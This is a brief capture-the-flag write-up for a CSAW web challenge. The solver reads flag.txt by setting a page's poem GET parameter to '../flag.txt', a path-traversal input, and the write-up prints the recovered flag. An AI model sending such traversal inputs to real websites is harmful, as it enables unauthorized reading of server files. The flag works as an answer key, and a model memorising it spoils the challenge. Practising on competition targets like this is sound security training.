Solved by [Amdj3dax](https://github.com/amdjedbens) from [OctaC0re](https://ctftime.org/team/141485) team.
		Hey! I made a cool website that shows off my favorite poems. See if you can find flag.txt somewhere!
 http://web.chal.csaw.io:5003
Just changed the GET argument to "../flag.txt"
http://web.chal.csaw.io:5003/poems/?poem=../flag.txt
and there you go:
**flag{l0c4l_f1l3_1nclusi0n_f0r_7h3_w1n}**